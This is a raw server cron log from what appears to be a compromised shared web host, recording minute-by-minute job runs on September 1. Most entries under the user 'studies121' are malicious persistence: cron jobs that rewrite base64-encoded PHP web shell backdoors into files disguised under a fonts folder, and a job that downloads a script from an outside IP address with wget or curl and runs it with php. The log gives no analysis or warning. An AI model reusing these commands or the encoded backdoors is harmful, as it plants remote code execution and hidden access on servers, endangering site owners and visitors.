Sep  1 01:10:01 ip-184-168-122-23 CROND[24046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:10:01 ip-184-168-122-23 CROND[24045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:10:01 ip-184-168-122-23 CROND[24048]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:10:01 ip-184-168-122-23 CROND[24047]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:10:01 ip-184-168-122-23 CROND[24054]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 01:11:01 ip-184-168-122-23 CROND[24236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:11:01 ip-184-168-122-23 CROND[24237]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:11:01 ip-184-168-122-23 CROND[24240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:11:01 ip-184-168-122-23 CROND[24241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:12:01 ip-184-168-122-23 CROND[24329]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 01:12:01 ip-184-168-122-23 CROND[24331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:12:01 ip-184-168-122-23 CROND[24334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:12:01 ip-184-168-122-23 CROND[24332]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:12:01 ip-184-168-122-23 CROND[24333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:13:01 ip-184-168-122-23 CROND[24422]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:13:01 ip-184-168-122-23 CROND[24424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:13:01 ip-184-168-122-23 CROND[24425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:13:01 ip-184-168-122-23 CROND[24426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:14:01 ip-184-168-122-23 CROND[24512]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 01:14:01 ip-184-168-122-23 CROND[24513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:14:01 ip-184-168-122-23 CROND[24517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:14:01 ip-184-168-122-23 CROND[24518]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:14:01 ip-184-168-122-23 CROND[24519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:15:01 ip-184-168-122-23 CROND[24612]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:15:01 ip-184-168-122-23 CROND[24614]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 01:15:01 ip-184-168-122-23 CROND[24615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:15:01 ip-184-168-122-23 CROND[24616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:15:01 ip-184-168-122-23 CROND[24618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:15:01 ip-184-168-122-23 CROND[24617]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 01:16:02 ip-184-168-122-23 CROND[24794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:16:02 ip-184-168-122-23 CROND[24796]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 01:16:02 ip-184-168-122-23 CROND[24795]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 01:16:02 ip-184-168-122-23 CROND[24798]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:16:02 ip-184-168-122-23 CROND[24800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:16:02 ip-184-168-122-23 CROND[24799]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:17:01 ip-184-168-122-23 CROND[24888]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:17:01 ip-184-168-122-23 CROND[24892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:17:01 ip-184-168-122-23 CROND[24890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:17:01 ip-184-168-122-23 CROND[24891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:18:01 ip-184-168-122-23 CROND[24978]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 01:18:01 ip-184-168-122-23 CROND[24979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:18:01 ip-184-168-122-23 CROND[24982]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:18:01 ip-184-168-122-23 CROND[24983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:18:01 ip-184-168-122-23 CROND[24984]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:19:01 ip-184-168-122-23 CROND[25074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:19:01 ip-184-168-122-23 CROND[25076]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:19:01 ip-184-168-122-23 CROND[25075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:19:01 ip-184-168-122-23 CROND[25077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:20:02 ip-184-168-122-23 CROND[25172]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:20:02 ip-184-168-122-23 CROND[25174]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 01:20:02 ip-184-168-122-23 CROND[25175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:20:02 ip-184-168-122-23 CROND[25177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:20:02 ip-184-168-122-23 CROND[25178]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 01:20:02 ip-184-168-122-23 CROND[25181]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 01:20:02 ip-184-168-122-23 CROND[25182]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 01:20:02 ip-184-168-122-23 CROND[25183]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 01:20:02 ip-184-168-122-23 CROND[25176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:21:01 ip-184-168-122-23 CROND[25294]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:21:01 ip-184-168-122-23 CROND[25296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:21:01 ip-184-168-122-23 CROND[25297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:21:01 ip-184-168-122-23 CROND[25298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:22:01 ip-184-168-122-23 CROND[25479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:22:01 ip-184-168-122-23 CROND[25483]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
